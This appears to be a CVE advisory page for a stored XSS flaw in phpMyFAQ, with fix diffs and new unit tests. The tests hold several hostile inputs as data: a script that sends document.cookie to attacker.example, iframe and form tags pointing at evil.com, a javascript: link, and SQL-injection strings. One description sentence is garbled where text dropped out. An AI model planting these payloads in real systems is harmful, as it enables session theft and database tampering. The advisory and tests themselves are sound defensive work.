CVE-2026-46363
Description
phpMyFAQ before 4.1.2 contains a stored cross-site scripting vulnerability in FAQ creation and update endpoints that bypass sanitization through encode-decode cycles. The vulnerability allows authenticated attackers with FAQ_ADD permission to inject malicious script tags via question or answer parameters, which execute in every visitor's browser when FAQ content is rendered with the raw Twig filter.
AI Insight
LLM-synthesized narrative grounded in this CVE's description and references.
phpMyFAQ before 4.1.2 has a stored XSS in FAQ creation/update endpoints that bypasses sanitization via an encode-decode cycle, allowing authenticated attackers with FAQ_ADD permission to inject arbitrary JavaScript.
Vulnerability
phpMyFAQ versions before 4.1.2 contain a stored cross-site scripting vulnerability in the FAQ creation and update endpoints (FaqController.php). The sanitization pipeline applies FILTER_SANITIZE_SPECIAL_CHARS (which HTML-encodes input via htmlspecialchars()), then immediately calls html_entity_decode() to reverse the encoding, followed by Filter::removeAttributes() which only strips HTML attributes—not tags. This allows `) into the question or answer` parameter. The encode-decode cycle fails to remove the tag, and it is stored in the database. When any user visits the FAQ page, the script executes in their browser context [1].
Impact
Successful exploitation results in persistent cross-site scripting (XSS) that executes in the browser of every visitor viewing the affected FAQ. This can lead to session hijacking, credential theft, defacement, or further attacks against the application. The attacker must have FAQ_ADD permission, which is typically granted to authenticated users with content creation roles [1][2].
Mitigation
The vulnerability is fixed in phpMyFAQ version 4.1.2. Users should upgrade to 4.1.2 or later immediately. No workarounds are documented. The CVE is not listed on the CISA Known Exploited Vulnerabilities (KEV) catalog as of publication [1][2].
AI Insight generated on May 21, 2026. Synthesized from this CVE's description and the cited reference URLs; citations are validated against the source bundle.
Affected products
1Patches
479da5ecf051drefactor: replaced custom sanitization with Symfony's HtmlSanitizer
2 files changed · +86 −182
phpmyfaq/src/phpMyFAQ/Filter.php+23 −181 modified@@ -19,6 +19,8 @@ namespace phpMyFAQ; +use Symfony\Component\HtmlSanitizer\HtmlSanitizer; +use Symfony\Component\HtmlSanitizer\HtmlSanitizerConfig; use Symfony\Component\HttpFoundation\Request; /** @@ -132,192 +134,32 @@ public function filterSanitizeString(string $string): string } /** - * Removes a lot of HTML attributes. + * Sanitizes HTML by allowing safe elements and attributes via Symfony's HtmlSanitizer. */ public static function removeAttributes(string $html = ''): string { - $keep = [ - 'href', - 'src', - 'title', - 'alt', - 'class', - 'style', - 'id', - 'name', - 'size', - 'dir', - 'rel', - 'rev', - 'target', - 'width', - 'height', - 'controls', - ]; - // remove broken stuff $html = str_replace(search: ' ', replace: '', subject: $html); - // Match attributes with double quotes, single quotes, or no quotes - preg_match_all( - pattern: '/[a-z]+\s*=\s*(?:"[^"]*"|\'[^\']*\'|[^\s>]+)/iU', - subject: $html, - matches: $attributes, - ); - - foreach ($attributes[0] as $attribute) { - $attributeName = stristr($attribute, needle: '=', before_needle: true); - $attributeName = trim($attributeName); - if (!self::isAttribute($attributeName)) { - continue; - } - - if (in_array($attributeName, $keep, strict: true)) { - continue; - } - - $html = str_replace(' ' . $attribute, replace: '', subject: $html); - } - - return $html; - } - - private static function isAttribute(string $attribute): bool - { - $globalAttributes = [ - 'autocomplete', - 'autofocus', - 'disabled', - 'list', - 'name', - 'readonly', - 'required', - 'tabindex', - 'type', - 'value', - 'accesskey', - 'class', - 'contenteditable', - 'contextmenu', - 'dir', - 'draggable', - 'dropzone', - 'id', - 'lang', - 'style', - 'tabindex', - 'title', - 'inputmode', - 'is', - 'itemid', - 'itemprop', - 'itemref', - 'itemscope', - 'itemtype', - 'lang', - 'slot', - 'spellcheck', - 'translate', - 'autofocus', - 'disabled', - 'form', - 'multiple', - 'name', - 'required', - 'size', - 'autocapitalize', - 'autocomplete', - 'autofocus', - 'cols', - 'disabled', - 'form', - 'maxlength', - 'minlength', - 'name', - 'placeholder', - 'readonly', - 'required', - 'rows', - 'spellcheck', - 'wrap', - 'onmouseenter', - 'onmouseleave', - 'onafterprint', - 'onbeforeprint', - 'onbeforeunload', - 'onhashchange', - 'onmessage', - 'onoffline', - 'ononline', - 'onpopstate', - 'onpagehide', - 'onpageshow', - 'onresize', - 'onunload', - 'ondevicemotion', - 'preload', - 'ondeviceorientation', - 'onabort', - 'onblur', - 'oncanplay', - 'oncanplaythrough', - 'onchange', - 'onclick', - 'oncontextmenu', - 'ondblclick', - 'ondrag', - 'ondragend', - 'ondragenter', - 'ondragleave', - 'ondragover', - 'ondragstart', - 'ondrop', - 'ondurationchange', - 'onemptied', - 'onended', - 'onerror', - 'onfocus', - 'oninput', - 'oninvalid', - 'onkeydown', - 'onkeypress', - 'onkeyup', - 'onload', - 'onloadeddata', - 'onloadedmetadata', - 'onloadstart', - 'onmousedown', - 'onmousemove', - 'onmouseout', - 'onmouseover', - 'onmouseup', - 'controls', - 'onmozfullscreenchange', - 'onmozfullscreenerror', - 'onpause', - 'onplay', - 'onplaying', - 'onprogress', - 'onratechange', - 'onreset', - 'onscroll', - 'onseeked', - 'onseeking', - 'onselect', - 'onshow', - 'onstalled', - 'onsubmit', - 'onsuspend', - 'ontimeupdate', - 'onvolumechange', - 'onwaiting', - 'oncopy', - 'oncut', - 'onpaste', - 'onbeforescriptexecute', - 'onafterscriptexecute', - ]; - - return in_array($attribute, $globalAttributes, strict: true); + $config = (new HtmlSanitizerConfig()) + ->allowSafeElements() + ->allowRelativeLinks() + ->allowRelativeMedias() + ->allowAttribute('class', allowedElements: '*') + ->allowAttribute('style', allowedElements: '*') + ->allowAttribute('id', allowedElements: '*') + ->allowAttribute('dir', allowedElements: '*') + ->allowAttribute('name', allowedElements: '*') + ->allowAttribute('target', allowedElements: 'a') + ->allowAttribute('controls', allowedElements: ['audio', 'video']) + ->blockElement('form') + ->blockElement('input') + ->blockElement('textarea') + ->blockElement('select') + ->blockElement('button'); + + $sanitizer = new HtmlSanitizer($config); + + return $sanitizer->sanitize($html); } }
tests/phpMyFAQ/FilterTest.php+63 −1 modified@@ -271,7 +271,69 @@ public function testRemoveAttributesWithSvgOnload(): void $html = '<svg onload=alert(1)>'; $result = Filter::removeAttributes($html); - $this->assertStringNotContainsString('onload', $result); + $this->assertStringNotContainsString('<svg', $result); + } + + public function testRemoveAttributesStripsScriptTags(): void + { + $html = 'Safe content<script>alert(document.cookie)</script> more content'; + $result = Filter::removeAttributes($html); + + $this->assertStringNotContainsString('<script>', $result); + $this->assertStringNotContainsString('alert(document.cookie)', $result); + $this->assertStringContainsString('Safe content', $result); + $this->assertStringContainsString('more content', $result); + } + + public function testRemoveAttributesStripsIframeTags(): void + { + $html = 'Before<iframe src="https://evil.com"></iframe>After'; + $result = Filter::removeAttributes($html); + + $this->assertStringNotContainsString('<iframe', $result); + $this->assertStringNotContainsString('</iframe>', $result); + $this->assertStringContainsString('Before', $result); + $this->assertStringContainsString('After', $result); + } + + public function testRemoveAttributesStripsObjectEmbedTags(): void + { + $html = '<object data="evil.swf"><embed src="evil.swf"></object>'; + $result = Filter::removeAttributes($html); + + $this->assertStringNotContainsString('<object', $result); + $this->assertStringNotContainsString('<embed', $result); + } + + public function testRemoveAttributesStripsJavascriptUri(): void + { + $html = '<a href="javascript:alert(1)">click</a>'; + $result = Filter::removeAttributes($html); + + $this->assertStringNotContainsString('javascript:', $result); + $this->assertStringContainsString('click', $result); + } + + public function testRemoveAttributesStripsFormAndBaseTags(): void + { + $html = '<form action="https://evil.com"><input name="q"><base href="https://evil.com">'; + $result = Filter::removeAttributes($html); + + $this->assertStringNotContainsString('<form', $result); + $this->assertStringNotContainsString('<base', $result); + } + + public function testRemoveAttributesHandlesEncodeThenDecode(): void + { + // Simulates the actual vulnerable pipeline: FILTER_SANITIZE_SPECIAL_CHARS -> html_entity_decode -> removeAttributes + $userInput = 'Helpful content<script>fetch("https://attacker.example/steal?c="+document.cookie)</script>'; + $filtered = Filter::filterVar($userInput, FILTER_SANITIZE_SPECIAL_CHARS); + $decoded = html_entity_decode((string) $filtered, ENT_QUOTES | ENT_HTML5, 'UTF-8'); + $result = Filter::removeAttributes($decoded); + + $this->assertStringNotContainsString('<script>', $result); + $this->assertStringNotContainsString('fetch(', $result); + $this->assertStringContainsString('Helpful content', $result); } public function testRemoveAttributesWithMixedQuoteStyles(): void
496a2bc2383bfix: added missing escaped values
1 file changed · +6 −5
phpmyfaq/src/phpMyFAQ/User/CurrentUser.php+6 −5 modified@@ -681,6 +681,7 @@ public function setSuccess(bool $success): bool */ public function setTokenData(#[\SensitiveParameter] array $token): bool { + $db = $this->configuration->getDb(); $update = sprintf( " UPDATE @@ -693,14 +694,14 @@ public function setTokenData(#[\SensitiveParameter] array $token): bool WHERE user_id = %d", Database::getTablePrefix(), - $token['refresh_token'], - $token['access_token'], - $token['code_verifier'], - json_encode($token['jwt'], JSON_THROW_ON_ERROR), + $db->escape($token['refresh_token']), + $db->escape($token['access_token']), + $db->escape($token['code_verifier']), + $db->escape(json_encode($token['jwt'], JSON_THROW_ON_ERROR)), $this->getUserId(), ); - return (bool) $this->configuration->getDb()->query($update); + return (bool) $db->query($update); } /**
545bdffb1124fix: added missing escaping
2 files changed · +133 −14
phpmyfaq/src/phpMyFAQ/Captcha/BuiltinCaptcha.php+34 −14 modified@@ -274,6 +274,11 @@ private function generateCaptchaCode(int $capLength): string */ private function garbageCollector(): void { + $db = $this->configuration->getDb(); + $userAgent = $this->escapeQueryValue($this->userAgent); + $language = $this->escapeQueryValue($this->configuration->getLanguage()->getLanguage()); + $ip = $this->escapeQueryValue($this->ip); + $delete = sprintf( ' DELETE FROM @@ -284,7 +289,7 @@ private function garbageCollector(): void Request::createFromGlobals()->server->get('REQUEST_TIME') - 604800, ); - $this->configuration->getDb()->query($delete); + $db->query($delete); $delete = sprintf( " @@ -293,31 +298,37 @@ private function garbageCollector(): void WHERE useragent = '%s' AND language = '%s' AND ip = '%s'", Database::getTablePrefix(), - $this->userAgent, - $this->configuration->getLanguage()->getLanguage(), - $this->ip, + $userAgent, + $language, + $ip, ); - $this->configuration->getDb()->query($delete); + $db->query($delete); } /** * Save the Captcha. */ private function saveCaptcha(): bool { + $db = $this->configuration->getDb(); + $code = $this->escapeQueryValue($this->code); + $userAgent = $this->escapeQueryValue($this->userAgent); + $language = $this->escapeQueryValue($this->configuration->getLanguage()->getLanguage()); + $ip = $this->escapeQueryValue($this->ip); + $select = sprintf(" SELECT id FROM %sfaqcaptcha WHERE - id = '%s'", Database::getTablePrefix(), $this->code); + id = '%s'", Database::getTablePrefix(), $code); - $result = $this->configuration->getDb()->query($select); + $result = $db->query($select); if ($result) { - $num = $this->configuration->getDb()->numRows($result); + $num = $db->numRows($result); if ($num > 0) { return false; } @@ -330,13 +341,13 @@ private function saveCaptcha(): bool VALUES ('%s', '%s', '%s', '%s', %d)", Database::getTablePrefix(), - $this->code, - $this->userAgent, - $this->configuration->getLanguage()->getLanguage(), - $this->ip, + $code, + $userAgent, + $language, + $ip, $this->timestamp, ); - $this->configuration->getDb()->query($insert); + $db->query($insert); return true; } @@ -471,7 +482,16 @@ private function removeCaptcha(?string $captchaCode = null): void $captchaCode = $this->code; } - $query = sprintf("DELETE FROM %sfaqcaptcha WHERE id = '%s'", Database::getTablePrefix(), $captchaCode); + $query = sprintf( + "DELETE FROM %sfaqcaptcha WHERE id = '%s'", + Database::getTablePrefix(), + $this->escapeQueryValue($captchaCode), + ); $this->configuration->getDb()->query($query); } + + private function escapeQueryValue(mixed $value): string + { + return $this->configuration->getDb()->escape((string) ($value ?? '')); + } }
tests/phpMyFAQ/Captcha/BuiltinCaptchaTest.php+99 −0 modified@@ -5,10 +5,14 @@ use Exception; use phpMyFAQ\Configuration; use phpMyFAQ\Database\Sqlite3; +use phpMyFAQ\Language; use phpMyFAQ\Strings; +use phpMyFAQ\Translation; use PHPUnit\Framework\Attributes\AllowMockObjectsWithoutExpectations; use PHPUnit\Framework\TestCase; use ReflectionClass; +use ReflectionMethod; +use Symfony\Component\HttpFoundation\Session\Session; /** * Class CaptchaTest @@ -24,11 +28,19 @@ class BuiltinCaptchaTest extends TestCase /** @var Configuration */ protected Configuration $configuration; + /** + * @throws \phpMyFAQ\Core\Exception + */ protected function setUp(): void { parent::setUp(); Strings::init(); + Translation::create() + ->setTranslationsDir(PMF_TRANSLATION_DIR) + ->setDefaultLanguage('en') + ->setCurrentLanguage('en') + ->setMultiByteLanguage(); $_SERVER['HTTP_USER_AGENT'] = 'AwesomeBrowser'; $_SERVER['REMOTE_ADDR'] = '::1'; @@ -38,6 +50,9 @@ protected function setUp(): void $dbHandle = new Sqlite3(); $dbHandle->connect(PMF_TEST_DIR . '/test.db', '', ''); $this->configuration = new Configuration($dbHandle); + $language = new Language($this->configuration, $this->createStub(Session::class)); + Language::$language = 'en'; + $this->configuration->setLanguage($language); $this->captcha = new BuiltinCaptcha($this->configuration); } @@ -325,4 +340,88 @@ public function testCaptchaConsistency(): void $this->assertEquals($output1, $output2); } + + public function testSaveCaptchaEscapesUserAgentAndIpValues(): void + { + $userAgent = "Browser' OR 1=1 -- "; + $ip = "127.0.0.1' OR 'x'='x"; + + $_SERVER['HTTP_USER_AGENT'] = $userAgent; + $_SERVER['REMOTE_ADDR'] = $ip; + $_SERVER['REQUEST_TIME'] = 42; + + $captcha = new BuiltinCaptcha($this->configuration); + $this->configuration->getDb()->query('DELETE FROM faqcaptcha WHERE 1 = 1'); + $this->setPrivateProperty($captcha, 'code', 'ABC123'); + + $result = $this->invokePrivateMethod($captcha, 'saveCaptcha'); + + $this->assertTrue($result); + $this->assertStringContainsString("Browser'' OR 1=1 -- ", $this->configuration->getDb()->log()); + $this->assertStringContainsString("127.0.0.1'' OR ''x''=''x", $this->configuration->getDb()->log()); + + $storedCaptcha = $this->configuration->getDb()->query("SELECT id, useragent, ip FROM faqcaptcha WHERE id = 'ABC123'"); + + $this->assertNotFalse($storedCaptcha); + $storedRow = $this->configuration->getDb()->fetchAssoc($storedCaptcha); + + $this->assertSame('ABC123', $storedRow['id']); + $this->assertSame($userAgent, $storedRow['useragent']); + $this->assertSame($ip, $storedRow['ip']); + } + + public function testGarbageCollectorEscapesUserAgentAndIpValues(): void + { + $db = $this->configuration->getDb(); + $userAgent = "Cleanup' OR 1=1 -- "; + $ip = "::1' OR '1'='1"; + $language = $this->configuration->getLanguage()->getLanguage(); + + $_SERVER['HTTP_USER_AGENT'] = $userAgent; + $_SERVER['REMOTE_ADDR'] = $ip; + $_SERVER['REQUEST_TIME'] = 1; + + $captcha = new BuiltinCaptcha($this->configuration); + + $db->query('DELETE FROM faqcaptcha WHERE 1 = 1'); + $db->query(sprintf( + "INSERT INTO faqcaptcha (id, useragent, language, ip, captcha_time) VALUES ('TARGET1', '%s', '%s', '%s', 1)", + $db->escape($userAgent), + $db->escape($language), + $db->escape($ip), + )); + $db->query(sprintf( + "INSERT INTO faqcaptcha (id, useragent, language, ip, captcha_time) VALUES ('SAFE001', 'safe-agent', '%s', '127.0.0.2', 1)", + $db->escape($language), + )); + + $this->invokePrivateMethod($captcha, 'garbageCollector'); + + $this->assertStringContainsString("Cleanup'' OR 1=1 -- ", $db->log()); + $this->assertStringContainsString("::1'' OR ''1''=''1", $db->log()); + + $deletedResult = $db->query("SELECT id FROM faqcaptcha WHERE id = 'TARGET1'"); + $safeResult = $db->query("SELECT id FROM faqcaptcha WHERE id = 'SAFE001'"); + + $this->assertNotFalse($deletedResult); + $this->assertSame([], $db->fetchAssoc($deletedResult)); + + $this->assertNotFalse($safeResult); + $safeRow = $db->fetchAssoc($safeResult); + $this->assertSame('SAFE001', $safeRow['id']); + } + + private function invokePrivateMethod(object $object, string $methodName, array $arguments = []): mixed + { + $reflectionMethod = new ReflectionMethod($object, $methodName); + + return $reflectionMethod->invokeArgs($object, $arguments); + } + + private function setPrivateProperty(object $object, string $propertyName, mixed $value): void + { + $reflection = new ReflectionClass($object); + $property = $reflection->getProperty($propertyName); + $property->setValue($object, $value); + } }
ee04f197ae4afix: corrected entity encoding
5 files changed · +8 −6
phpmyfaq/assets/templates/default/search.twig+1 −1 modified@@ -80,7 +80,7 @@ {% else %} <p class="text-muted mt-5"> - {{ 'help_search' | translate | raw }} + {{ 'help_search' | translate }} </p> {% endif %} </section>
phpmyfaq/src/phpMyFAQ/Controller/Api/SearchController.php+1 −1 modified@@ -91,7 +91,7 @@ public function search(Request $request): JsonResponse $url = $this->configuration->getDefaultUrl() . 'index.php?action=faq&cat=%d&id=%d&artlang=%s'; $result = []; foreach ($searchResultSet->getResultSet() as $data) { - $data->answer = html_entity_decode(strip_tags((string) $data->answer), ENT_COMPAT, encoding: 'utf-8'); + $data->answer = strip_tags((string) $data->answer); $data->answer = Utils::makeShorterText(string: $data->answer, characters: 12); $url = sprintf($url, $data->category_id, $data->id, $data->lang); $link = new Link($url, $this->configuration);
phpmyfaq/src/phpMyFAQ/Faq.php+2 −2 modified@@ -579,10 +579,10 @@ public function renderFaqsByFaqIds( $oLink->tooltip = $title; $rowResult->renderedScore = 0; - $rowResult->question = Utils::chopString($title, 15); + $rowResult->question = Utils::chopString(Strings::htmlentities($title), 15); $rowResult->path = ''; $rowResult->url = $oLink->toString(); - $rowResult->answerPreview = $faqHelper->renderAnswerPreview($row->answer, 20); + $rowResult->answerPreview = Strings::htmlentities($faqHelper->renderAnswerPreview($row->answer, 20)); $lastFaqId = $row->id; $searchResults[] = $rowResult;
phpmyfaq/src/phpMyFAQ/Helper/SearchHelper.php+1 −1 modified@@ -181,7 +181,7 @@ public function getSearchResult(SearchResultSet $searchResultSet, int $currentPa $categoryInfo = $this->Category->getCategoriesFromFaq((int) $resultSet->id); $categoryInfo = array_values($categoryInfo); //Reset the array keys $question = Utils::chopString(Strings::htmlentities($resultSet->question), 15); - $answerPreview = $faqHelper->renderAnswerPreview($resultSet->answer, 20); + $answerPreview = Strings::htmlentities($faqHelper->renderAnswerPreview($resultSet->answer, 20)); $searchTerm = str_replace( ['^', '.', '?', '*', '+', '{', '}', '(', ')', '[', ']', '"'],
phpmyfaq/src/phpMyFAQ/Search.php+3 −1 modified@@ -246,13 +246,15 @@ public function logSearchTerm(string $searchTerm): void return; } + $sanitizedSearchTerm = htmlspecialchars($searchTerm, ENT_QUOTES | ENT_HTML5, 'UTF-8'); + $dateTime = new DateTime(); $query = sprintf( "INSERT INTO %s (id, lang, searchterm, searchdate) VALUES (%d, '%s', '%s', '%s')", $this->table, $this->configuration->getDb()->nextId($this->table, 'id'), $this->configuration->getLanguage()->getLanguage(), - $this->configuration->getDb()->escape($searchTerm), + $this->configuration->getDb()->escape($sanitizedSearchTerm), $dateTime->format('Y-m-d H:i:s'), );
Vulnerability mechanics
Root cause
"The custom HTML sanitizer in Filter::removeAttributes could be bypassed through an encode-decode cycle (FILTER_SANITIZE_SPECIAL_CHARS followed by html_entity_decode), allowing stored XSS via FAQ question/answer parameters."
Attack vector
An authenticated attacker with FAQ_ADD permission submits a FAQ question or answer containing a malicious script tag that is first encoded by FILTER_SANITIZE_SPECIAL_CHARS, then decoded via html_entity_decode before reaching the custom removeAttributes() sanitizer. The custom sanitizer's attribute-based filtering does not strip <script> tags themselves, only dangerous attributes like onload. When the FAQ content is rendered in a visitor's browser using the raw Twig filter, the injected script executes, enabling cookie theft or other client-side attacks [CWE-79]. The CVSS vector indicates the attack requires low privileges and user interaction (a victim viewing the FAQ page).
Affected code
The primary vulnerable code is in phpmyfaq/src/phpMyFAQ/Filter.php, specifically the removeAttributes() method which used a custom attribute allowlist that did not strip <script> tags. The encode-decode pipeline existed in the FAQ creation/update flow where FILTER_SANITIZE_SPECIAL_CHARS was applied, then html_entity_decode reversed the encoding before removeAttributes() ran. Additional related files patched include Faq.php, Search.php, SearchHelper.php, SearchController.php, and the search.twig template [patch_id=1068607][patch_id=1068608].
What the fix does
Patch [patch_id=1068607] replaces the entire custom removeAttributes() method with Symfony's HtmlSanitizer, which uses an allowlist-based approach (allowSafeElements()) that strips <script>, <iframe>, <object>, <embed>, <form>, <input>, <textarea>, <select>, and <button> elements entirely. The new sanitizer also blocks javascript: URIs in links. Patch [patch_id=1068608] adds additional output encoding via Strings::htmlentities() in Faq.php and SearchHelper.php, removes a raw filter from search.twig, and strips html_entity_decode from the API search controller to prevent the decode step that enabled the bypass. Together these patches close the encode-decode bypass at both the input sanitization and output rendering layers.
Preconditions
- authAttacker must be authenticated with FAQ_ADD permission
- inputAttacker must submit a question or answer containing a script tag that survives the encode-decode-sanitize pipeline
- networkVictim must visit the FAQ page where the stored content is rendered with the raw Twig filter
Generated on May 21, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.
References
2News mentions
0No linked articles in our index yet.